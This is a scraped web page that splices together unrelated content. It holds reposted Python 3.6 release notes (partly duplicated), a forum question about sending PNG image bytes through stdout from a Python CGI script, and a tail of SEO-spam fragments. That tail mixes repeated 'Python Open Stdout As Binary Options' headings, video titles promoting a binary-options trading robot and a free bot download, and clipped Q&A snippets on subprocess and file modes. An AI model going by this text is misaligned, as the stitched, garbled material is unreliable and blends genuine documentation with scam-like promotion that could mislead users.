pathlib now supports path-like objects. (Contributed by Brett Cannon in bpo-27186.) See the summary of PEP 519 for details.

pdb

The Pdb class constructor has a new optional readrc argument to control whether .pdbrc files should be read.

pickle

Objects that need new called with keyword arguments can now be pickled using pickle protocols older than protocol version 4. Protocol version 4 already supports this case. (Contributed by Serhiy Storchaka in bpo-24164.)

pickletools

pickletools.dis() now outputs the implicit memo index for the MEMOIZE opcode. (Contributed by Serhiy Storchaka in bpo-25382.)

pydoc

The pydoc module has learned to respect the MANPAGER environment variable. (Contributed by Matthias Klose in bpo-8637.)
help() and pydoc can now list named tuple fields in the order they were defined rather than alphabetically. (Contributed by Raymond Hettinger in bpo-24879.)

random

The new choices() function returns a list of elements of specified size from the given population with optional weights. (Contributed by Raymond Hettinger in bpo-18844.)

re

Added support of modifier spans in regular expressions. Examples: '(?i:p)ython' matches 'python' and 'Python', but not 'PYTHON'; '(?i)g(?-i:v)r' matches 'GvR' and 'gvr', but not 'GVR'. (Contributed by Serhiy Storchaka in bpo-433028.)
Match object groups can be accessed by getitem, which is equivalent to group(). So mo['name'] is now equivalent to mo.group('name'). (Contributed by Eric Smith in bpo-24454.)
Match objects now support index-like objects as group indices. (Contributed by Jeroen Demeyer and
Xiang Zhang in bpo-27177.)

readline

Added set_auto_history() to enable or disable automatic addition of input to the history list. (Contributed by Tyler Crompton in bpo-26870.)

rlcompleter

Private and special attribute names now are omitted unless the prefix starts with underscores. A space or a colon is added after some completed keywords. (Contributed by Serhiy Storchaka in bpo-25011 and bpo-25209.)

shlex

The shlex has much improved shell compatibility through the new punctuation_chars argument to control which characters are treated as punctuation. (Contributed by Vinay Sajip in bpo-1521950.) site
When specifying paths to add to sys.path in a .pth file, you may now specify file paths on top of directories (e.g. zip files). (Contributed by Wolfgang Langner in bpo-26587). sqlite3
sqlite3.Cursor.lastrowid now supports the REPLACE statement. (Contributed by Alex LordThorsen in bpo-16864.)

socket

The ioctl() function now supports the SIO_LOOPBACK_FAST_PATH control code. (Contributed by Daniel Stokes in bpo-26536.)
The getsockopt() constants SO_DOMAIN, SO_PROTOCOL, SO_PEERSEC, and SO_PASSSEC are now supported. (Contributed by Christian Heimes in bpo-26907.)
The setsockopt() now supports the setsockopt(level, optname, None, optlen: int) form. (Contributed by Christian Heimes in bpo-27744.)
The socket module now supports the address family AFALG to interface with Linux Kernel crypto API. ALG*, SOL_ALG and sendmsg_afalg() were added. (Contributed by Christian Heimes in bpo-27744 with support from Victor Stinner.)
New Linux constants TCP_USER_TIMEOUT and TCP_CONGESTION were added. (Contributed by Omar Sandoval, issue:26273).

socketserver

Servers based on the socketserver module, including those defined in http.server, xmlrpc.server and wsgiref.simple_server, now support the context manager protocol. (Contributed by Aviv Palivoda in bpo-26404.)
The wfile attribute of StreamRequestHandler classes now implements the io.BufferedIOBase writable interface. In particular, calling write() is now guaranteed to send the data in full. (Contributed by Martin Panter in bpo-26721.)

ssl

ssl supports OpenSSL 1.1.0. The minimum recommend version is 1.0.2. (Contributed by Christian Heimes in bpo-26470.)
3DES has been removed from the default cipher suites and ChaCha20 Poly1305 cipher suites have been added. (Contributed by Christian Heimes in bpo-27850 and bpo-27766.)
SSLContext has better default configuration for options and ciphers. (Contributed by Christian Heimes in bpo-28043.)
SSL session can be copied from one client-side connection to another with the new SSLSession class. TLS session resumption can speed up the initial handshake, reduce latency and improve performance (Contributed by Christian Heimes in bpo-19500 based on a draft by Alex Warhawk.)
The new get_ciphers() method can be used to get a list of enabled ciphers in order of cipher priority. All constants and flags have been converted to IntEnum and IntFlags. (Contributed by Christian Heimes in bpo-28025.)
Server and client-side specific TLS protocols for SSLContext were added. (Contributed by Christian Heimes in bpo-28085.)

statistics

A new harmonic_mean() function has been added. (Contributed by Steven D’Aprano in bpo-27181.)

struct

struct now supports IEEE 754 half-precision floats via the 'e' format specifier. (Contributed by Eli Stevens, Mark Dickinson in bpo-11734.)

subprocess

subprocess.Popen destructor now emits a ResourceWarning warning if the child process is still running. Use the context manager protocol (with proc: ...) or explicitly call the wait() method to read the exit status of the child process. (Contributed by Victor Stinner in bpo-26741.) The subprocess.Popen constructor and all functions that pass arguments through to it now accept encoding and errors arguments. Specifying either of these will enable text mode for the stdin, stdout and stderr streams. (Contributed by Steve Dower in bpo-6135.)

sys

The new getfilesystemencodeerrors() function returns the name of the error mode used to convert between Unicode filenames and bytes filenames. (Contributed by Steve Dower in bpo-27781.) On Windows the return value of the getwindowsversion() function now includes the platform_version field which contains the accurate major version, minor version and build number of the current operating system, rather than the version that is being emulated for the process (Contributed by Steve Dower in bpo-27932.)
submitted by Marco_Diaz_SVFOE to EasyLearnProgramming [link] [comments]

3.6 release Python (Part 2)

SSL session can be copied from one client-side connection to another with the new SSLSession class. TLS session resumption can speed up the initial handshake, reduce latency and improve performance (Contributed by Christian Heimes in bpo-19500 based on a draft by Alex Warhawk.)
The new get_ciphers() method can be used to get a list of enabled ciphers in order of cipher priority. All constants and flags have been converted to IntEnum and IntFlags. (Contributed by Christian Heimes in bpo-28025.)
Server and client-side specific TLS protocols for SSLContext were added. (Contributed by Christian Heimes in bpo-28085.)

statistics

A new harmonic_mean() function has been added. (Contributed by Steven D’Aprano in bpo-27181.)

struct

struct now supports IEEE 754 half-precision floats via the 'e' format specifier. (Contributed by Eli Stevens, Mark Dickinson in bpo-11734.)

subprocess

subprocess.Popen destructor now emits a ResourceWarning warning if the child process is still running. Use the context manager protocol (with proc: ...) or explicitly call the wait() method to read the exit status of the child process. (Contributed by Victor Stinner in bpo-26741.) The subprocess.Popen constructor and all functions that pass arguments through to it now accept encoding and errors arguments. Specifying either of these will enable text mode for the stdin, stdout and stderr streams. (Contributed by Steve Dower in bpo-6135.)

sys

The new getfilesystemencodeerrors() function returns the name of the error mode used to convert between Unicode filenames and bytes filenames. (Contributed by Steve Dower in bpo-27781.) On Windows the return value of the getwindowsversion() function now includes the platform_version field which contains the accurate major version, minor version and build number of the current operating system, rather than the version that is being emulated for the process (Contributed by Steve Dower in bpo-27932.)

telnetlib

Telnet is now a context manager (contributed by Stéphane Wirtel in bpo-25485). time
The struct_time attributes tm_gmtoff and tm_zone are now available on all platforms. timeit
The new Timer.autorange() convenience method has been added to call Timer.timeit() repeatedly so that the total run time is greater or equal to 200 milliseconds. (Contributed by Steven D’Aprano in bpo-6422.)
timeit now warns when there is substantial (4x) variance between best and worst times. (Contributed by Serhiy Storchaka in bpo-23552.)

tkinter

Added methods trace_add(), trace_remove() and trace_info() in the tkinter.Variable class. They replace old methods trace_variable(), trace(), trace_vdelete() and trace_vinfo() that use obsolete Tcl commands and might not work in future versions of Tcl. (Contributed by Serhiy Storchaka in bpo-22115).

traceback

Both the traceback module and the interpreter’s builtin exception display now abbreviate long sequences of repeated lines in tracebacks as shown in the following example:
def f(): f()...>>> f()Traceback (most recent call last):
File "", line 1, in
File "", line 1, in f
File "", line 1, in f
File "", line 1, in f [Previous line repeated 995 more times]RecursionError:
maximum recursion depth exceeded (Contributed by Emanuel Barry in bpo-26823.) tracemalloc The tracemalloc module now supports tracing memory allocations in multiple different address spaces. The new DomainFilter filter class has been added to filter block traces by their address space (domain). (Contributed by Victor Stinner in bpo-26588.) typing Since the typing module is provisional, all changes introduced in Python 3.6 have also been backported to Python 3.5.x. The typing module has a much improved support for generic type aliases. For example Dict[str, Tuple[S, T]] is now a valid type annotation. (Contributed by Guido van Rossum in Github #195.) The typing.ContextManager class has been added for representing contextlib.AbstractContextManager. (Contributed by Brett Cannon in bpo-25609.) The typing.Collection class has been added for representing collections.abc.Collection. (Contributed by Ivan Levkivskyi in bpo-27598.) The typing.ClassVar type construct has been added to mark class variables. As introduced in PEP 526, a variable annotation wrapped in ClassVar indicates that a given attribute is intended to be used as a class variable and should not be set on instances of that class. (Contributed by Ivan Levkivskyi in Github #280.) A new TYPE_CHECKING constant that is assumed to be True by the static type chekers, but is False at runtime. (Contributed by Guido van Rossum in Github #230.) A new NewType() helper function has been added to create lightweight distinct types for annotations:
from typing import NewType
UserId = NewType('UserId', int)some_id = UserId(524313) The static type checker will treat the new type as if it were a subclass of the original type. (Contributed by Ivan Levkivskyi in Github #189.) unicodedata The unicodedata module now uses data from Unicode 9.0.0. (Contributed by Benjamin Peterson.) unittest.mock The Mock class has the following improvements: Two new methods, Mock.assert_called() and Mock.assert_called_once() to check if the mock object was called. (Contributed by Amit Saha in bpo-26323.) The Mock.reset_mock() method now has two optional keyword only arguments: return_value and side_effect. (Contributed by Kushal Das in bpo-21271.) urllib.request If a HTTP request has a file or iterable body (other than a bytes object) but no Content-Length header, rather than throwing an error, AbstractHTTPHandler now falls back to use chunked transfer encoding. (Contributed by Demian Brecht and Rolf Krahl in bpo-12319.) urllib.robotparser RobotFileParser now supports the Crawl-delay and Request-rate extensions. (Contributed by Nikolay Bogoychev in bpo-16099.) venv venv accepts a new parameter --prompt. This parameter provides an alternative prefix for the virtual environment. (Proposed by Łukasz Balcerzak and ported to 3.6 by Stéphane Wirtel in bpo-22829.) warnings A new optional source parameter has been added to the warnings.warn_explicit() function: the destroyed object which emitted a ResourceWarning. A source attribute has also been added to warnings.WarningMessage (contributed by Victor Stinner in bpo-26568 and bpo-26567). When a ResourceWarning warning is logged, the tracemalloc module is now used to try to retrieve the traceback where the destroyed object was allocated. Example with the script example.py:
import warnings
def func():
return open(__file__) 
f = func()f = None Output of the command python3.6 -Wd -X tracemalloc=5 example.py:
example.py:7: ResourceWarning: unclosed file <_io.TextIOWrapper
name='example.py' mode='r' encoding='UTF-8'>
f = NoneObject allocated at (most recent call first):
File "example.py", lineno 4
return open(__file__) 
File "example.py", lineno 6
f = func() 
The “Object allocated at” traceback is new and is only displayed if tracemalloc is tracing Python memory allocations and if the warnings module was already imported.

winreg

Added the 64-bit integer type REG_QWORD. (Contributed by Clement Rouault in bpo-23026.)

winsound

Allowed keyword arguments to be passed to Beep, MessageBeep, and PlaySound (bpo-27982). xmlrpc.client
The xmlrpc.client module now supports unmarshalling additional data types used by the Apache XML-RPC implementation for numerics and None. (Contributed by Serhiy Storchaka in bpo-26885.) zipfile
A new ZipInfo.from_file() class method allows making a ZipInfo instance from a filesystem file. A new ZipInfo.is_dir() method can be used to check if the ZipInfo instance represents a directory. (Contributed by Thomas Kluyver in bpo-26039.)
The ZipFile.open() method can now be used to write data into a ZIP file, as well as for extracting data. (Contributed by Thomas Kluyver in bpo-26039.)

zlib

The compress() and decompress() functions now accept keyword arguments. (Contributed by Aviv Palivoda in bpo-26243 and Xiang Zhang in bpo-16764 respectively.)

Optimizations

  • The Python interpreter now uses a 16-bit wordcode instead of bytecode which made a number of opcode optimizations possible. (Contributed by Demur Rumed with input and reviews from Serhiy Storchaka and Victor Stinner in bpo-26647 and bpo-28050.)
  • The asyncio.Future class now has an optimized C implementation. (Contributed by Yury Selivanov and INADA Naoki in bpo-26081.)
  • The asyncio.Task class now has an optimized C implementation. (Contributed by Yury Selivanov in bpo-28544.)
  • Various implementation improvements in the typing module (such as caching of generic types) allow up to 30 times performance improvements and reduced memory footprint.
  • The ASCII decoder is now up to 60 times as fast for error handlers surrogateescape, ignore and replace (Contributed by Victor Stinner in bpo-24870).
  • The ASCII and the Latin1 encoders are now up to 3 times as fast for the error handler surrogateescape (Contributed by Victor Stinner in bpo-25227).
  • The UTF-8 encoder is now up to 75 times as fast for error handlers ignore, replace, surrogateescape, surrogatepass (Contributed by Victor Stinner in bpo-25267).
  • The UTF-8 decoder is now up to 15 times as fast for error handlers ignore, replace and surrogateescape (Contributed by Victor Stinner in bpo-25301).
  • bytes % args is now up to 2 times faster. (Contributed by Victor Stinner in bpo-25349). bytearray % args is now between 2.5 and 5 times faster. (Contributed by Victor Stinner in bpo-25399).
  • Optimize bytes.fromhex() and bytearray.fromhex(): they are now between 2x and 3.5x faster. (Contributed by Victor Stinner in bpo-25401).
  • Optimize bytes.replace(b'', b'.') and bytearray.replace(b'', b'.'): up to 80% faster. (Contributed by Josh Snider in bpo-26574).
  • Allocator functions of the PyMem_Malloc() domain (PYMEM_DOMAIN_MEM) now use the pymalloc memory allocator instead of malloc() function of the C library. The pymalloc allocator is optimized for objects smaller or equal to 512 bytes with a short lifetime, and use malloc() for larger memory blocks. (Contributed by Victor Stinner in bpo-26249).
  • pickle.load() and pickle.loads() are now up to 10% faster when deserializing many small objects (Contributed by Victor Stinner in bpo-27056).
  • Passing keyword arguments to a function has an overhead in comparison with passing positional arguments. Now in extension functions implemented with using Argument Clinic this overhead is significantly decreased. (Contributed by Serhiy Storchaka in bpo-27574).
  • Optimized glob() and iglob() functions in the glob module; they are now about 3–6 times faster. (Contributed by Serhiy Storchaka in bpo-25596).
  • Optimized globbing in pathlib by using os.scandir(); it is now about 1.5–4 times faster. (Contributed by Serhiy Storchaka in bpo-26032).
  • xml.etree.ElementTree parsing, iteration and deepcopy performance has been significantly improved. (Contributed by Serhiy Storchaka in bpo-25638, bpo-25873, and bpo-25869.)
  • Creation of fractions.Fraction instances from floats and decimals is now 2 to 3 times faster. (Contributed by Serhiy Storchaka in bpo-25971.)

Build and C API Changes

Python now requires some C99 support in the toolchain to build. Most notably, Python now uses standard integer types and macros in place of custom macros like PY_LONG_LONG. For more information, see PEP 7 and bpo-17884.
Cross-compiling CPython with the Android NDK and the Android API level set to 21 (Android 5.0 Lollilop) or greater runs successfully. While Android is not yet a supported platform, the Python test suite runs on the Android emulator with only about 16 tests failures. See the Android meta-issue bpo-26865.
The --enable-optimizations configure flag has been added. Turning it on will activate expensive optimizations like PGO. (Original patch by Alecsandru Patrascu of Intel in bpo-26359.)
The GIL must now be held when allocator functions of PYMEM_DOMAIN_OBJ (ex: PyObject_Malloc()) and PYMEM_DOMAIN_MEM (ex: PyMem_Malloc()) domains are called.
New Py_FinalizeEx() API which indicates if flushing buffered data failed. (Contributed by Martin Panter in bpo-5319.)
PyArg_ParseTupleAndKeywords() now supports positional-only parameters. Positional-only parameters are defined by empty names. (Contributed by Serhiy Storchaka in bpo-26282). PyTraceback_Print method now abbreviates long sequences of repeated lines as "[Previous line repeated {count} more times]". (Contributed by Emanuel Barry in bpo-26823.)
The new PyErr_SetImportErrorSubclass() function allows for specifying a subclass of ImportError to raise. (Contributed by Eric Snow in bpo-15767.)
The new PyErr_ResourceWarning() function can be used to generate a ResourceWarning providing the source of the resource allocation. (Contributed by Victor Stinner in bpo-26567.)
The new PyOS_FSPath() function returns the file system representation of a path-like object. (Contributed by Brett Cannon in bpo-27186.)
The PyUnicode_FSConverter() and PyUnicode_FSDecoder() functions will now accept path-like objects.
The PyExc_RecursionErrorInst singleton that was part of the public API has been removed as its members being never cleared may cause a segfault during finalization of the interpreter. Contributed by Xavier de Gaye in bpo-22898 and bpo-30697.

Other Improvements

When --version (short form: -V) is supplied twice, Python prints sys.version for detailed information.
$ ./python -VVPython 3.6.0b4+ (3.6:223967b49e49+, Nov 21 2016, 20:55:04)[GCC 4.2.1 Compatible Apple LLVM 8.0.0 (clang-800.0.42.1)]

Deprecated

New Keywords

async and await are not recommended to be used as variable, class, function or module names. Introduced by PEP 492 in Python 3.5, they will become proper keywords in Python 3.7. Starting in Python 3.6, the use of async or await as names will generate a DeprecationWarning.

Deprecated Python behavior

Raising the StopIteration exception inside a generator will now generate a DeprecationWarning, and will trigger a RuntimeError in Python 3.7. See PEP 479: Change StopIteration handling inside generators for details.
The aiter() method is now expected to return an asynchronous iterator directly instead of returning an awaitable as previously. Doing the former will trigger a DeprecationWarning. Backward compatibility will be removed in Python 3.7. (Contributed by Yury Selivanov in bpo-27243.)
A backslash-character pair that is not a valid escape sequence now generates a DeprecationWarning. Although this will eventually become a SyntaxError, that will not be for several Python releases. (Contributed by Emanuel Barry in bpo-27364.)
When performing a relative import, falling back on name and path from the calling module when spec or package are not defined now raises an ImportWarning. (Contributed by Rose Ames in bpo-25791.)
Deprecated Python modules, functions and methods

asynchat

The asynchat has been deprecated in favor of asyncio. (Contributed by Mariatta in bpo-25002.)

asyncore

The asyncore has been deprecated in favor of asyncio. (Contributed by Mariatta in bpo-25002.)

dbm

Unlike other dbm implementations, the dbm.dumb module creates databases with the 'rw' mode and allows modifying the database opened with the 'r' mode. This behavior is now deprecated and will be removed in 3.8. (Contributed by Serhiy Storchaka in bpo-21708.)

distutils

The undocumented extra_path argument to the Distribution constructor is now considered deprecated and will raise a warning if set. Support for this parameter will be removed in a future Python release. See bpo-27919 for details.

grp

The support of non-integer arguments in getgrgid() has been deprecated. (Contributed by Serhiy Storchaka in bpo-26129.)

importlib

The importlib.machinery.SourceFileLoader.load_module() and importlib.machinery.SourcelessFileLoader.load_module() methods are now deprecated. They were the only remaining implementations of importlib.abc.Loader.load_module() in importlib that had not been deprecated in previous versions of Python in favour of importlib.abc.Loader.exec_module().
The importlib.machinery.WindowsRegistryFinder class is now deprecated. As of 3.6.0, it is still added to sys.meta_path by default (on Windows), but this may change in future releases.

os

Undocumented support of general bytes-like objects as paths in os functions, compile() and similar functions is now deprecated. (Contributed by Serhiy Storchaka in bpo-25791 and bpo-26754.)

re

Support for inline flags (?letters) in the middle of the regular expression has been deprecated and will be removed in a future Python version. Flags at the start of a regular expression are still allowed. (Contributed by Serhiy Storchaka in bpo-22493.)

ssl

OpenSSL 0.9.8, 1.0.0 and 1.0.1 are deprecated and no longer supported. In the future the ssl module will require at least OpenSSL 1.0.2 or 1.1.0.
SSL-related arguments like certfile, keyfile and check_hostname in ftplib, http.client, imaplib, poplib, and smtplib have been deprecated in favor of context. (Contributed by Christian Heimes in bpo-28022.)
A couple of protocols and functions of the ssl module are now deprecated. Some features will no longer be available in future versions of OpenSSL. Other features are deprecated in favor of a different API. (Contributed by Christian Heimes in bpo-28022 and bpo-26470.)

tkinter

The tkinter.tix module is now deprecated. tkinter users should use tkinter.ttk instead.

venv

The pyvenv script has been deprecated in favour of python3 -m venv. This prevents confusion as to what Python interpreter pyvenv is connected to and thus what Python interpreter will be used by the virtual environment. (Contributed by Brett Cannon in bpo-25154.)

Deprecated functions and types of the C API

Undocumented functions PyUnicode_AsEncodedObject(), PyUnicode_AsDecodedObject(), PyUnicode_AsEncodedUnicode() and PyUnicode_AsDecodedUnicode() are deprecated now. Use the generic codec based API instead.

Deprecated Build Options

The --with-system-ffi configure flag is now on by default on non-macOS UNIX platforms. It may be disabled by using --without-system-ffi, but using the flag is deprecated and will not be accepted in Python 3.7. macOS is unaffected by this change. Note that many OS distributors already use the --with-system-ffi flag when building their system Python.

Removed

API and Feature Removals

  • Unknown escapes consisting of '\' and an ASCII letter in regular expressions will now cause an error. In replacement templates for re.sub() they are still allowed, but deprecated. The re.LOCALE flag can now only be used with binary patterns.
  • inspect.getmoduleinfo() was removed (was deprecated since CPython 3.3). inspect.getmodulename() should be used for obtaining the module name for a given path. (Contributed by Yury Selivanov in bpo-13248.)
  • traceback.Ignore class and traceback.usage, traceback.modname, traceback.fullmodname, traceback.find_lines_from_code, traceback.find_lines, traceback.find_strings,
  • traceback.find_executable_lines methods were removed from the traceback module. They were undocumented methods deprecated since Python 3.2 and equivalent functionality is available from private methods.
  • The tk_menuBar() and tk_bindForTraversal() dummy methods in tkinter widget classes were removed (corresponding Tk commands were obsolete since Tk 4.0).
  • The open() method of the zipfile.ZipFile class no longer supports the 'U' mode (was deprecated since Python 3.4). Use io.TextIOWrapper for reading compressed text files in universal newlines mode.
  • The undocumented IN, CDROM, DLFCN, TYPES, CDIO, and STROPTS modules have been removed.
  • They had been available in the platform specific Lib/plat-*/ directories, but were chronically out of date, inconsistently available across platforms, and unmaintained. The script that created these modules is still available in the source distribution at Tools/scripts/h2py.py.
*The deprecated asynchat.fifo class has been removed.

Porting to Python 3.6

  • This section lists previously described changes and other bugfixes that may require changes to your code.

Changes in ‘python’ Command Behavior

8 The output of a special Python build with defined COUNT_ALLOCS, SHOW_ALLOC_COUNT or SHOW_TRACK_COUNT macros is now off by default. It can be re-enabled using the -X showalloccount option. It now outputs to stderr instead of stdout. (Contributed by Serhiy Storchaka in bpo-23034.)

Changes in the Python API

  • open() will no longer allow combining the 'U' mode flag with '+'. (Contributed by Jeff Balogh and John O’Connor in bpo-2091.)
  • sqlite3 no longer implicitly commits an open transaction before DDL statements.
  • On Linux, os.urandom() now blocks until the system urandom entropy pool is initialized to increase the security.
  • When importlib.abc.Loader.exec_module() is defined, importlib.abc.Loader.create_module() must also be defined.
  • PyErr_SetImportError() now sets TypeError when its msg argument is not set. Previously only NULL was returned.
  • The format of the co_lnotab attribute of code objects changed to support a negative line number delta. By default, Python does not emit bytecode with a negative line number delta. Functions using frame.f_lineno, PyFrame_GetLineNumber() or PyCode_Addr2Line() are not affected. Functions directly decoding co_lnotab should be updated to use a signed 8-bit integer type for the line number delta, but this is only required to support applications using a negative line number delta. See Objects/lnotab_notes.txt for the co_lnotab format and how to decode it, and see the PEP 511 for the rationale.
  • The functions in the compileall module now return booleans instead of 1 or 0 to represent success or failure, respectively. Thanks to booleans being a subclass of integers, this should only be an issue if you were doing identity checks for 1 or 0. See bpo-25768.
  • Reading the port attribute of urllib.parse.urlsplit() and urlparse() results now raises ValueError for out-of-range values, rather than returning None. See bpo-20059.
  • The imp module now raises a DeprecationWarning instead of PendingDeprecationWarning.
  • The following modules have had missing APIs added to their all attributes to match the documented APIs: calendar, cgi, csv, ElementTree, enum, fileinput, ftplib, logging, mailbox, mimetypes, optparse, plistlib, smtpd, subprocess, tarfile, threading and wave. This means they will export new symbols when import * is used. (Contributed by Joel Taddei and Jacek Kołodziej in bpo-23883.)
  • When performing a relative import, if package does not compare equal to spec.parent then ImportWarning is raised. (Contributed by Brett Cannon in bpo-25791.)
  • When a relative import is performed and no parent package is known, then ImportError will be raised. Previously, SystemError could be raised. (Contributed by Brett Cannon in bpo-18018.)
  • Servers based on the socketserver module, including those defined in http.server, xmlrpc.server and wsgiref.simple_server, now only catch exceptions derived from Exception. Therefore if a request handler raises an exception like SystemExit or KeyboardInterrupt, handle_error() is no longer called, and the exception will stop a single-threaded server. (Contributed by Martin Panter in bpo-23430.)
  • spwd.getspnam() now raises a PermissionError instead of KeyError if the user doesn’t have privileges.
  • The socket.socket.close() method now raises an exception if an error (e.g. EBADF) was reported by the underlying system call. (Contributed by Martin Panter in bpo-26685.)
  • The decode_data argument for the smtpd.SMTPChannel and smtpd.SMTPServer constructors is now False by default. This means that the argument passed to process_message() is now a bytes object by default, and process_message() will be passed keyword arguments. Code that has already been updated in accordance with the deprecation warning generated by 3.5 will not be affected.
  • All optional arguments of the dump(), dumps(), load() and loads() functions and JSONEncoder and JSONDecoder class constructors in the json module are now keyword-only. (Contributed by Serhiy Storchaka in bpo-18726.)
  • Subclasses of type which don’t override type.new may no longer use the one-argument form to get the type of an object.
  • As part of PEP 487, the handling of keyword arguments passed to type (other than the metaclass hint, metaclass) is now consistently delegated to object.init_subclass(). This means that type.new() and type.init() both now accept arbitrary keyword arguments, but object.init_subclass() (which is called from type.new()) will reject them by default. Custom metaclasses accepting additional keyword arguments will need to adjust their calls to type.new() (whether direct or via super) accordingly.
  • In distutils.command.sdist.sdist, the default_format attribute has been removed and is no longer honored. Instead, the gzipped tarfile format is the default on all platforms and no platform-specific selection is made. In environments where distributions are built on Windows and zip distributions are required, configure the project with a setup.cfg file containing the following:
[sdist]formats=zip
This behavior has also been backported to earlier Python versions by Setuptools 26.0.0.
  • In the urllib.request module and the http.client.HTTPConnection.request() method, if no Content-Length header field has been specified and the request body is a file object, it is now sent with HTTP 1.1 chunked encoding. If a file object has to be sent to a HTTP 1.0 server, the Content-Length value now has to be specified by the caller. (Contributed by Demian Brecht and Rolf Krahl with tweaks from Martin Panter in bpo-12319.)
  • The DictReader now returns rows of type OrderedDict. (Contributed by Steve Holden in bpo-27842.)
  • The crypt.METHOD_CRYPT will no longer be added to crypt.methods if unsupported by the platform. (Contributed by Victor Stinner in bpo-25287.)
  • The verbose and rename arguments for namedtuple() are now keyword-only. (Contributed by Raymond Hettinger in bpo-25628.)
  • On Linux, ctypes.util.find_library() now looks in LD_LIBRARY_PATH for shared libraries. (Contributed by Vinay Sajip in bpo-9998.)
  • The imaplib.IMAP4 class now handles flags containing the ']' character in messages sent from the server to improve real-world compatibility. (Contributed by Lita Cho in bpo-21815.)
  • The mmap.write() function now returns the number of bytes written like other write methods. (Contributed by Jakub Stasiak in bpo-26335.)
  • The pkgutil.iter_modules() and pkgutil.walk_packages() functions now return ModuleInfo named tuples. (Contributed by Ramchandra Apte in bpo-17211.)
  • re.sub() now raises an error for invalid numerical group references in replacement templates even if the pattern is not found in the string. The error message for invalid group references now includes the group index and the position of the reference. (Contributed by SilentGhost, Serhiy Storchaka in bpo-25953.)
  • zipfile.ZipFile will now raise NotImplementedError for unrecognized compression values. Previously a plain RuntimeError was raised. Additionally, calling ZipFile methods on a closed ZipFile or calling the write() method on a ZipFile created with mode 'r' will raise a ValueError. Previously, a RuntimeError was raised in those scenarios.
  • when custom metaclasses are combined with zero-argument super() or direct references from methods to the implicit class closure variable, the implicit classcell namespace entry must now be passed up to type.new for initialisation. Failing to do so will result in a DeprecationWarning in 3.6 and a RuntimeWarning in the future.

Changes in the C API

The PyMem_Malloc() allocator family now uses the pymalloc allocator rather than the system malloc(). Applications calling PyMem_Malloc() without holding the GIL can now crash. Set the PYTHONMALLOC environment variable to debug to validate the usage of memory allocators in your application. See bpo-26249.
Py_Exit() (and the main interpreter) now override the exit status with 120 if flushing buffered data failed. See bpo-5319.

CPython bytecode changes

There have been several major changes to the bytecode in Python 3.6. The Python interpreter now uses a 16-bit wordcode instead of bytecode. (Contributed by Demur Rumed with input and reviews from Serhiy Storchaka and Victor Stinner in bpo-26647 and bpo-28050.)
The new FORMAT_VALUE and BUILD_STRING opcodes as part of the formatted string literal implementation. (Contributed by Eric Smith in bpo-25483 and Serhiy Storchaka in bpo-27078.) The new BUILD_CONST_KEY_MAP opcode to optimize the creation of dictionaries with constant keys. (Contributed by Serhiy Storchaka in bpo-27140.)
The function call opcodes have been heavily reworked for better performance and simpler implementation. The MAKE_FUNCTION, CALL_FUNCTION, CALL_FUNCTION_KW and BUILD_MAP_UNPACK_WITH_CALL opcodes have been modified, the new CALL_FUNCTION_EX and BUILD_TUPLE_UNPACK_WITH_CALL have been added, and CALL_FUNCTION_VAR, CALL_FUNCTION_VAR_KW and MAKE_CLOSURE opcodes have been removed. (Contributed by Demur Rumed in bpo-27095, and Serhiy Storchaka in bpo-27213, bpo-28257.)
The new SETUP_ANNOTATIONS and STORE_ANNOTATION opcodes have been added to support the new variable annotation syntax. (Contributed by Ivan Levkivskyi in bpo-27985.)

Notable changes in Python 3.6.2

New make regen-all build target

To simplify cross-compilation, and to ensure that CPython can reliably be compiled without requiring an existing version of Python to already be available, the autotools-based build system no longer attempts to implicitly recompile generated files based on file modification times.
Instead, a new make regen-all command has been added to force regeneration of these files when desired (e.g. after an initial version of Python has already been built based on the pregenerated versions).
More selective regeneration targets are also defined - see Makefile.pre.in for details.
New in version 3.6.2.

Removal of make touch build target

The make touch build target previously used to request implicit regeneration of generated files by updating their modification times has been removed. It has been replaced by the new make regen-all target.
Changed in version 3.6.2.

Notable changes in Python 3.6.5

The locale.localeconv() function now sets temporarily the LC_CTYPE locale to the LC_NUMERIC locale in some cases.

End of the Document

submitted by Marco_Diaz_SVFOE to EasyLearnProgramming [link] [comments]

How to stream image from python backend to Java front-end to then reconstruct it?

I'm looking to dynamically serve an image via Python to Android/Java front-end.
The below works for text:
#!/Python27/python import sys sys.stdout.write('Content-Type: text/html\n\n') sys.stdout.write("This works") 
However the same does not for images:
#!/Python27/python sys.stdout.write('Content-Type: image/png\n\n') # Send the actual image data with open('../images/qr-code.png', 'rb') as f: sys.stdout.write(f.read()) 
I'm simply left with a broken image when viewed via a browser. Is this the correct method to use to transmit an image to Java? Or is there a better option, and then reconstruct it to a png?
EDIT
I'm using Windows...which makes a difference
Data needs to be unbuffered, to do so on Windows the below lines are needed
import msvcrt msvcrt.setmode(sys.stdout.fileno(), os.O_BINARY) 
submitted by TheDefecator to learnprogramming [link] [comments]

Free Python Bootcamp Day 5 Unicorn Hybrid Black Tutorial: Python API Binary MISTER BOSS R/F Bot (#Download#Free) Append  File Handling in Python  Bangla (বাংলা) How to check signals history  Binary Option Robot Python Fundamentals - File Handling in Python Program(12)- Python standard input, standard output & standard error streams.Text File handeling Anaconda Environment Install Python Packages Membuat Program Penjualan dengan Flask Python Read Text From Image in Python

Using the subprocess Module¶. The recommended approach to invoking subprocesses is to use the run() function for all use cases it can handle. For more advanced use cases, the underlying Popen interface can be used directly.. The run() function was added in Python 3.5; if you need to retain compatibility with older versions, see the Older high-level API section. Wednesday, 23 August 2017. Python Open Stdout As Binary Options Friday, 23 December 2016. Python Open Stdout As Binary Options When ran under Python on STDOUT, it returns 1 (no error) and the mode bitflag was 3 (enabled for writing). When ran under PyInstaller, it returns 0 (an error) and the mode bitflag is ignored. In pyi_pythonlib.c, stdout is made binary The Bytes Type. The bytes type in Python is immutable and stores a sequence of values ranging from 0-255 (8-bits). You can get the value of a single byte by using an index like an array, but the values can not be modified. # Create empty bytes Redirect stdout to a file in Python? Handling Exceptions - interesting article about handling exceptions in Python, as compared to C++; Edit. I know that I can wrap target, define separate function or use context manager. I look for a simple, elegant, idiomatic solution fitting that wouldn't require more than 5 lines. python. share improve this question follow edited May 23 '17 at 12:10 ... Sunday, 12 November 2017. Python Open Stdout As Binary Options Sunday, 20 August 2017. Opsi Python Open Stdout As Binary Get code examples like "convert image to binary python" instantly right from your google search results with the Grepper Chrome Extension. In the python built-in open function, what is the exact difference between the modes w, a ... The options are the same as for the fopen function in the C standard library: w truncates the file, overwriting whatever was already there. a appends to the file, adding onto whatever was already there. w+ opens for reading and writing, truncating the file but also allowing you to read back what's ...

